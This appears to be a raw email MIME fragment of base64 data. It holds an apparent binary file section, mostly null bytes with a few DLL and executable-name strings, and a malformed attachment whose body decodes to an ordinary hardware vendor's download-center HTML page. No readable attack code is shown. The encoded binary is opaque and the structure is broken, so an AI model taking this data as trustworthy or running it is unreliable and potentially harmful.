AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcXC5cAAAAAEQAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA VU1ETTE2LkRMTAAAVU1ETTMyLkRMTAAAbGlnaHRzLmV4ZSAlbHUgJWx1ICVzAAAAU0wwMSqF AQAAAAAAIPdMgExCMDEAAAAAAAAAAAAAAADM////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA --V6820sS60A833n7 --V6820sS60A833n7 Content-Type: application/octet-stream; name=index[1].htm Content-Transfer-Encoding: base64 Content-ID: DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPlN1cHBvcnQgJmFtcDsgRG93bmxvYWRzPC90aXRs ZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1s OyBjaGFyc2V0PVVURi04Ij4NCjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL2Rv d25sb2FkLmNzcyIgdHlwZT0idGV4dC9jc3MiPg0KDQo8c2NyaXB0IGxhbmd1YWdlPSJKYXZh U2NyaXB0Ij4NCjwhLS0NCmZ1bmN0aW9uIE1NX3N3YXBJbWdSZXN0b3JlKCkgeyAvL3YzLjAN CiAgdmFyIGkseCxhPWRvY3VtZW50Lk1NX3NyOyBmb3IoaT0wO2EmJmk8YS5sZW5ndGgmJih4 PWFbaV0pJiZ4Lm9TcmM7aSsrKSB4LnNyYz14Lm9TcmM7DQp9DQoNCmZ1bmN0aW9uIE1NX3By ZWxvYWRJbWFnZXMoKSB7IC8vdjMuMA0KICB2YXIgZD1kb2N1bWVudDsgaWYoZC5pbWFnZXMp eyBpZighZC5NTV9wKSBkLk1NX3A9bmV3IEFycmF5KCk7DQogICAgdmFyIGksaj1kLk1NX3Au bGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5n dGg7IGkrKykNCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3 IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQ0KfQ0KDQpmdW5jdGlvbiBNTV9maW5k T2JqKG4sIGQpIHsgLy92NC4wMQ0KICB2YXIgcCxpLHg7ICBpZighZCkgZD1kb2N1bWVudDsg aWYoKHA9bi5pbmRleE9mKCI/IikpPjAmJnBhcmVudC5mcmFtZXMubGVuZ3RoKSB7DQogICAg ZD1wYXJlbnQuZnJhbWVzW24uc3Vic3RyaW5nKHArMSldLmRvY3VtZW50OyBuPW4uc3Vic3Ry aW5nKDAscCk7fQ0KICBpZighKHg9ZFtuXSkmJmQuYWxsKSB4PWQuYWxsW25dOyBmb3IgKGk9 MDsheCYmaTxkLmZvcm1zLmxlbmd0aDtpKyspIHg9ZC5mb3Jtc1tpXVtuXTsNCiAgZm9yKGk9 MDsheCYmZC5sYXllcnMmJmk8ZC5sYXllcnMubGVuZ3RoO2krKykgeD1NTV9maW5kT2JqKG4s ZC5sYXllcnNbaV0uZG9jdW1lbnQpOw0KICBpZigheCAmJiBkLmdldEVsZW1lbnRCeUlkKSB4 PWQuZ2V0RWxlbWVudEJ5SWQobik7IHJldHVybiB4Ow0KfQ0KDQpmdW5jdGlvbiBNTV9zd2Fw SW1hZ2UoKSB7IC8vdjMuMA0KICB2YXIgaSxqPTAseCxhPU1NX3N3YXBJbWFnZS5hcmd1bWVu dHM7IGRvY3VtZW50Lk1NX3NyPW5ldyBBcnJheTsgZm9yKGk9MDtpPChhLmxlbmd0aC0yKTtp Kz0zKQ0KICAgaWYgKCh4PU1NX2ZpbmRPYmooYVtpXSkpIT1udWxsKXtkb2N1bWVudC5NTV9z cltqKytdPXg7IGlmKCF4Lm9TcmMpIHgub1NyYz14LnNyYzsgeC5zcmM9YVtpKzJdO30NCn0N Ci8vLS0+DQo8L3NjcmlwdD4NCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPg0KPCEt LQ0KDQo8IS0tDQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0 aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZA0KICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2 aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNp b24pPT00KSkgew0KICAgIGRvY3VtZW50Lk1NX3BnVz1pbm5lcldpZHRoOyBkb2N1bWVudC5N TV9wZ0g9aW5uZXJIZWlnaHQ7IG9ucmVzaXplPU1NX3JlbG9hZFBhZ2U7IH19DQogIGVsc2Ug aWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1l bnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsNCn0NCk1NX3JlbG9hZFBhZ2UodHJ1ZSk7 DQovLyAtLT4NCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCg0KPGJvZHkgYmdjb2xvcj0i I0ZGRkZGRiIgdGV4dD0iIzAwMDAwMCIgbGVmdG1hcmdpbj0iMCIgdG9wbWFyZ2luPSIwIiBt YXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIiBvbkxvYWQ9Ik1NX3ByZWxvYWRJbWFn ZXMoJ2ltYWdlcy9wcml2YWN5X29uLmdpZicsJ2ltYWdlcy90ZXJtcy1vZi11c2Vfb24uZ2lm Jywnd2VicGFnZV9pbWFnZXMvc2lzLWluZm9fb24uZ2lmJywnd2VicGFnZV9pbWFnZXMvbmV3 cy1ldmVudHNfb24uZ2lmJywnd2VicGFnZV9pbWFnZXMvd2hlcmUtdG8tYnV5X29uLmdpZics J3dlYnBhZ2VfaW1hZ2VzL3Byb2R1Y3RzX29uLmdpZicsJ2ltYWdlcy9wcml2YWN5X29uLmdp ZicsJ2ltYWdlcy90ZXJtcy1vZi11c2Vfb24uZ2lmJywnaW1hZ2VzL2J0MDFfb24uZ2lmJywn aW1hZ2VzL2J0MDJfb24uZ2lmJywnaW1hZ2VzL2J0MDNfb24uZ2lmJywndWlfaW1hZ2VzL2Ju X2RyaXZlcnNfZGxfb24uZ2lmJykiPg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAi IGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgaGVpZ2h0PSIxMDAlIj4NCiAgPHRy PiANCiAgICA8dGQgaGVpZ2h0PSIxMDAlIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiPiAN CiAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIg Y2VsbHBhZGRpbmc9IjAiIGhlaWdodD0iNjAiPg0KICAgICAgICA8dHI+IA0KICAgICAgICAg IDx0ZCByb3dzcGFuPSIyIiB3aWR0aD0iNzYiIGJhY2tncm91bmQ9ImltYWdlcy90b3BfYmdr XzAxLmdpZiIgYWxpZ249InJpZ2h0IiB2YWxpZ249ImJvdHRvbSI+PGEgaHJlZj0iaHR0cDov L3d3dy5zaXMuY29tL2luZGV4Lmh0bWwiPjxpbWcgc3JjPSJpbWFnZXMvc2lzX2xvZ29fMDEu Z2lmIiB3aWR0aD0iNjAiIGhlaWdodD0iNDkiIGJvcmRlcj0iMCI+PC9hPjwvdGQ+DQogICAg ICAgICAgPHRkIHJvd3NwYW49IjIiIHdpZHRoPSIxMTkiIGJhY2tncm91bmQ9ImltYWdlcy90 b3BfYmdrXzAxLmdpZiIgaGVpZ2h0PSI2MCI+Jm5ic3A7PC90ZD4NCiAgICAgICAgICA8dGQg aGVpZ2h0PSI0MCIgYWxpZ249InJpZ2h0IiBiZ2NvbG9yPSIjNTI3Qzc4IiBjb2xzcGFuPSI2 Ij4mbmJzcDsgPC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgPHRyPiANCiAgICAgICAg ICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iIzMxNEE0OCIgd2lkdGg9Ijg1Ij48YSBocmVm PSJodHRwOi8vd3d3LnNpcy5jb20vcHJvZHVjdHMvaW5kZXguaHRtIiBvbk1vdXNlT3V0PSJN TV9zd2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zlcj0iTU1fc3dhcEltYWdlKCdJbWFnZTE2 JywnJywnd2VicGFnZV9pbWFnZXMvcHJvZHVjdHNfb24uZ2lmJywxKSIgdGFyZ2V0PSJfdG9w Ij48aW1nIG5hbWU9IkltYWdlMTYiIGJvcmRlcj0iMCIgc3JjPSJ3ZWJwYWdlX2ltYWdlcy9w cm9kdWN0c19vZmYuZ2lmIiB3aWR0aD0iODUiIGhlaWdodD0iMjAiPjwvYT48L3RkPg0KICAg ICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjMzE0QTQ4IiB3aWR0aD0iMTUyIj48 aW1nIHNyYz0id2VicGFnZV9pbWFnZXMvc3VwcG9ydC1kb3dubG9hZHNfb25uLmdpZiIgd2lk dGg9IjE1MiIgaGVpZ2h0PSIyMCI+PC90ZD4NCiAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIg Ymdjb2xvcj0iIzMxNEE0OCIgd2lkdGg9IjYyIj48YSBocmVmPSJodHRwOi8vd3d3LnNpcy5j b20vc2lzaW5mby9pbmRleC5odG0iIG9uTW91c2VPdXQ9Ik1NX3N3YXBJbWdSZXN0b3JlKCki IG9uTW91c2VPdmVyPSJNTV9zd2FwSW1hZ2UoJ0ltYWdlNDknLCcnLCd3ZWJwYWdlX2ltYWdl cy9zaXMtaW5mb19vbi5naWYnLDEpIiB0YXJnZXQ9Il90b3AiPjxpbWcgbmFtZT0iSW1hZ2U0 OSIgYm9yZGVyPSIwIiBzcmM9IndlYnBhZ2VfaW1hZ2VzL3Npcy1pbmZvX29mZi5naWYiIHdp ZHRoPSI2MiIgaGVpZ2h0PSIyMCI+PC9hPjwvdGQ+DQogICAgICAgICAgPHRkIGhlaWdodD0i MjAiIGJnY29sb3I9IiMzMTRBNDgiIHdpZHRoPSIxMDgiPjxhIGhyZWY9Imh0dHA6Ly93d3cu c2lzLmNvbS9uZXdzL2luZGV4Lmh0bSIgb25Nb3VzZU91dD0iTU1fc3dhcEltZ1Jlc3RvcmUo KSIgb25Nb3VzZU92ZXI9Ik1NX3N3YXBJbWFnZSgnSW1hZ2U1MCcsJycsJ3dlYnBhZ2VfaW1h Z2VzL25ld3MtZXZlbnRzX29uLmdpZicsMSkiIHRhcmdldD0iX3RvcCI+PGltZyBuYW1lPSJJ bWFnZTUwIiBib3JkZXI9IjAiIHNyYz0id2VicGFnZV9pbWFnZXMvbmV3cy1ldmVudHNfb2Zm LmdpZiIgd2lkdGg9IjEwOCIgaGVpZ2h0PSIyMCI+PC9hPjwvdGQ+DQogICAgICAgICAgPHRk IGhlaWdodD0iMjAiIGJnY29sb3I9IiMzMTRBNDgiIHdpZHRoPSI5OCI+PGEgaHJlZj0iaHR0 cDovL3d3dy5zaXMuY29tL3doZXJldG9idXkvaW5kZXguaHRtIiBvbk1vdXNlT3V0PSJNTV9z d2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zlcj0iTU1fc3dhcEltYWdlKCdJbWFnZTUxJywn Jywnd2VicGFnZV9pbWFnZXMvd2hlcmUtdG8tYnV5X29uLmdpZicsMSkiIHRhcmdldD0iX3Rv cCI+PGltZyBuYW1lPSJJbWFnZTUxIiBib3JkZXI9IjAiIHNyYz0id2VicGFnZV9pbWFnZXMv d2hlcmUtdG8tYnV5X29mZi5naWYiIHdpZHRoPSI5OCIgaGVpZ2h0PSIyMCI+PC9hPjwvdGQ+ DQogICAgICAgICAgPHRkIGhlaWdodD0iMjAiIGJnY29sb3I9IiMzMTRBNDgiPiZuYnNwOzwv dGQ+DQogICAgICAgIDwvdHI+DQogICAgICA8L3RhYmxlPg0KICAgICAgPHRhYmxlIHdpZHRo PSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgaGVp Z2h0PSIyMSIgYmFja2dyb3VuZD0iaW1hZ2VzL2J1dHRvbl9iYXJfYmdrLmdpZiI+DQogICAg ICAgIDx0cj4gDQogICAgICAgICAgPHRkIHdpZHRoPSIxNTEiPjxpbWcgc3JjPSJpbWFnZXMv dG9wX2Jna18wMi5naWYiIHdpZHRoPSIxNTEiIGhlaWdodD0iMjEiPjwvdGQ+DQogICAgICAg ICAgPHRkIHdpZHRoPSIxOCI+PGltZyBzcmM9ImltYWdlcy90b3BfYmdrXzAzLmdpZiIgd2lk dGg9IjE4IiBoZWlnaHQ9IjIxIj48L3RkPg0KICAgICAgICAgIDx0ZCB3aWR0aD0iMTEzIj4m bmJzcDs8L3RkPg0KICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ1Ij48YSBocmVmPSJqYXZhc2Ny aXB0OjsiIG9uTW91c2VPdXQ9Ik1NX3N3YXBJbWdSZXN0b3JlKCkiIG9uTW91c2VPdmVyPSJN TV9zd2FwSW1hZ2UoJ0ltYWdlMTQnLCcnLCdpbWFnZXMvYnQwMV9vbi5naWYnLDEpIj48aW1n IG5hbWU9IkltYWdlMTQiIGJvcmRlcj0iMCIgc3JjPSJpbWFnZXMvYnQwMV9vZmYuZ2lmIiB3 aWR0aD0iMTQ1IiBoZWlnaHQ9IjE5Ij48L2E+PC90ZD4NCiAgICAgICAgICA8dGQgd2lkdGg9 IjExMyI+PGEgaHJlZj0iZHJpdmVyX3NlbGVjdC5qc3AiIG9uTW91c2VPdXQ9Ik1NX3N3YXBJ bWdSZXN0b3JlKCkiIG9uTW91c2VPdmVyPSJNTV9zd2FwSW1hZ2UoJ0ltYWdlMTUnLCcnLCdp bWFnZXMvYnQwMl9vbi5naWYnLDEpIj48aW1nIG5hbWU9IkltYWdlMTUiIGJvcmRlcj0iMCIg c3JjPSJpbWFnZXMvYnQwMl9vZmYuZ2lmIiB3aWR0aD0iMTEzIiBoZWlnaHQ9IjE5Ij48L2E+ PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSI+PGEgaHJlZj0iamF2 YXNjcmlwdDo7IiBvbk1vdXNlT3V0PSJNTV9zd2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zl cj0iTU1fc3dhcEltYWdlKCdJbWFnZTE3JywnJywnaW1hZ2VzL2J0MDNfb24uZ2lmJywxKSI+ PGltZyBuYW1lPSJJbWFnZTE3IiBib3JkZXI9IjAiIHNyYz0iaW1hZ2VzL2J0MDNfb2ZmLmdp ZiIgd2lkdGg9IjM5IiBoZWlnaHQ9IjE5Ij48L2E+PC90ZD4NCiAgICAgICAgICA8dGQgd2lk dGg9IjQ2Ij4mbmJzcDs8L3RkPg0KICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPg0KICAgICAg ICA8L3RyPg0KICAgICAgPC90YWJsZT4NCiAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9y ZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGhlaWdodD0iNTEiPg0K ICAgICAgICA8dHI+IA0KICAgICAgICAgIDx0ZCB3aWR0aD0iMTUxIiBhbGlnbj0ibGVmdCIg dmFsaWduPSJ0b3AiPiANCiAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTUwIiBib3JkZXI9 IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgaGVpZ2h0PSI1MSI+DQogICAg ICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWFnZXMv c3VwcG9ydF9waG90by5naWYiIHdpZHRoPSIxNTAiIGhlaWdodD0iNTEiPjwvdGQ+DQogICAg ICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgIDwvdGQ+ DQogICAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0i aW1hZ2VzL2NfYmdrLmdpZiI+IA0KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI1MDAiIGJv cmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBoZWlnaHQ9IjUxIj4N CiAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOCIg d2lkdGg9IjUiPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Yj4gPC9iPjwvZm9udD48L3RkPg0K ICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIiBjbGFzcz0ibGlu a19mb250cyI+PGI+PGEgaHJlZj0iaHR0cDovL3d3dy5zaXMuY29tL2luZGV4Lmh0bWwiPkhv bWU8L2E+PC9iPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Yj4gDQogICAgICAgICAgICAgICAg ICAmZ3Q7IDxmb250IGNvbG9yPSIjRjk2OTAwIj5Eb3dubG9hZCBDZW50ZXI8L2ZvbnQ+PC9i PjwvZm9udD48L3RkPg0KICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICA8dHI+ IA0KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0idWlfaW1hZ2Vz L3RpdGxlX2ZvbnRzX2RjLmdpZiIgd2lkdGg9IjQwMCIgaGVpZ2h0PSIyOSI+PC90ZD4NCiAg ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDwvdGFibGU+DQogICAgICAgICAgPC90 ZD4NCiAgICAgICAgPC90cj4NCiAgICAgIDwvdGFibGU+DQogICAgICA8dGFibGUgd2lkdGg9 IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBoZWln aHQ9IjEwMCUiPg0KICAgICAgICA8dHI+IA0KICAgICAgICAgIDx0ZCB3aWR0aD0iMTUxIiBh bGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFNUVCRUIiIGNsYXNzPSJsaW5r X2ZvbnRzIj4gDQogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjE1MCIgYm9yZGVyPSIwIiBj ZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGhlaWdodD0iMTIwIj4NCiAgICAgICAg ICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0i dG9wIj48aW1nIHNyYz0iaW1hZ2VzL3JlbGF0ZWRfYmdrLmdpZiIgd2lkdGg9IjE1MCIgaGVp Z2h0PSIxNTAiPjwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8L3Rh YmxlPg0KICAgICAgICAgICAgPGJyPiA8L3RkPg0KICAgICAgICAgIDx0ZCB3aWR0aD0iNjEw IiB2YWxpZ249InRvcCI+IA0KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI0NjAiIGJvcmRl cj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBoZWlnaHQ9IjE4Ij4NCiAg ICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICA8dGQ+PGEgbmFtZT0idG9wIiBp ZD0idG9wIj48L2E+PC90ZD4NCiAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDwv dGFibGU+DQogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2Vs bHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCiAgICAgICAgICAgICAgPHRyPiANCiAg ICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwIiB2YWxpZ249InRvcCI+PGltZyBzcmM9InVp X2ltYWdlcy9zcGFjZXIuZ2lmIiB3aWR0aD0iMTAiIGhlaWdodD0iMjAiPjwvdGQ+DQogICAg ICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJ1aV9pbWFnZXMvYmFy X2NvbnRlbnRfYmdfMDMuZ2lmIj4gDQogICAgICAgICAgICAgICAgICA8VEFCTEUgaGVpZ2h0 PTIwIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0xMDAlIA0KICAgICAgICAg ICAgYmdDb2xvcj0jNGY3Njc3IGJvcmRlcj0wPg0KICAgICAgICAgICAgICAgICAgICA8VFI+ IA0KICAgICAgICAgICAgICAgICAgICAgIDxURCB3aWR0aD0xNT4gPERJViBhbGlnbj1yaWdo dD48SU1HIGhlaWdodD0xNSANCiAgICAgICAgICAgICAgICAgIHNyYz0idWlfaW1hZ2VzL3Rp dGxlX2l0ZW1fMDEuZ2lmIiANCiAgICAgICAgICAgICAgICAgIHdpZHRoPTE1PjwvRElWPjwv VEQ+DQogICAgICAgICAgICAgICAgICAgICAgPFREIGNsYXNzPSJ0aXRsZV8wMSI+U3BlY2lm aWMgTm90aWNlIEZvciBEcml2ZXJzIEF2YWlsYWJsZSANCiAgICAgICAgICAgICAgICAgICAg ICAgIE9uIERvd25sb2FkIENlbnRlciA8L1REPg0KICAgICAgICAgICAgICAgICAgICAgIDxU RCB3aWR0aD0iNjAiIGNsYXNzPSJ0aXRsZV8wMSI+PEI+IDwvQj48L1REPg0KICAgICAgICAg ICAgICAgICAgICAgIDxURCB3aWR0aD0iMTAiIGNsYXNzPSJ0aXRsZV8wMSI+PGltZyBzcmM9 InVpX2ltYWdlcy9zcGFjZXIuZ2lmIiB3aWR0aD0iMTAiIGhlaWdodD0iMjAiPjwvVEQ+DQog ICAgICAgICAgICAgICAgICAgIDwvVFI+DQogICAgICAgICAgICAgICAgICA8L1RBQkxFPg0K 